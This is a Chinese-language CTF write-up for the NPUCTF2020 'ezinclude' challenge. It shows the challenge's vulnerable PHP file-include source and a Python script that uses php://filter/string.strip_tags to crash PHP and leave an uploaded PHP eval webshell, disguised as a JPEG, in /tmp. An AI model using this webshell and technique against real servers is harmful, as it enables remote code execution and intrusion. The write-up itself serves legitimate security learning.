[NPUCTF2020]ezinclude

直接读源码
在这里插入图片描述
抓包
在这里插入图片描述
直接传递hash值
?pass=fa25e54758d5d5c1927781a6ede89f8a
看到响应中多了内容
在这里插入图片描述
访问后看到是文件包含
在这里插入图片描述
用伪协议读flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

用伪协议读了其他文件也没找到flag,有点没思路,参考wp。
看wp,可以利用php://filter/string.strip_tags导致php崩溃,同时可上传文件保存在/tmp目录来上传木马.
解析
用python脚本上传文件并写入一句话

import requests
url ="http://7b1ba541-12aa-46b8-ad49-303ade55342d.node3.buuoj.cn/flflflflag.php?" \
     "file=php://filter/string.strip_tags/resource=/etc/passwd"
payload = b"<?php @eval($_POST['pass']);?>"

file = [('file',("hack.jpg",payload,"image/jpeg"))]
res = requests.post(url=url,files=file)
print(res.text)

成功后要爆破文件名,但这题有dir.php
在这里插入图片描述

用file读取我们上传的文件,找到flag
在这里插入图片描述

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值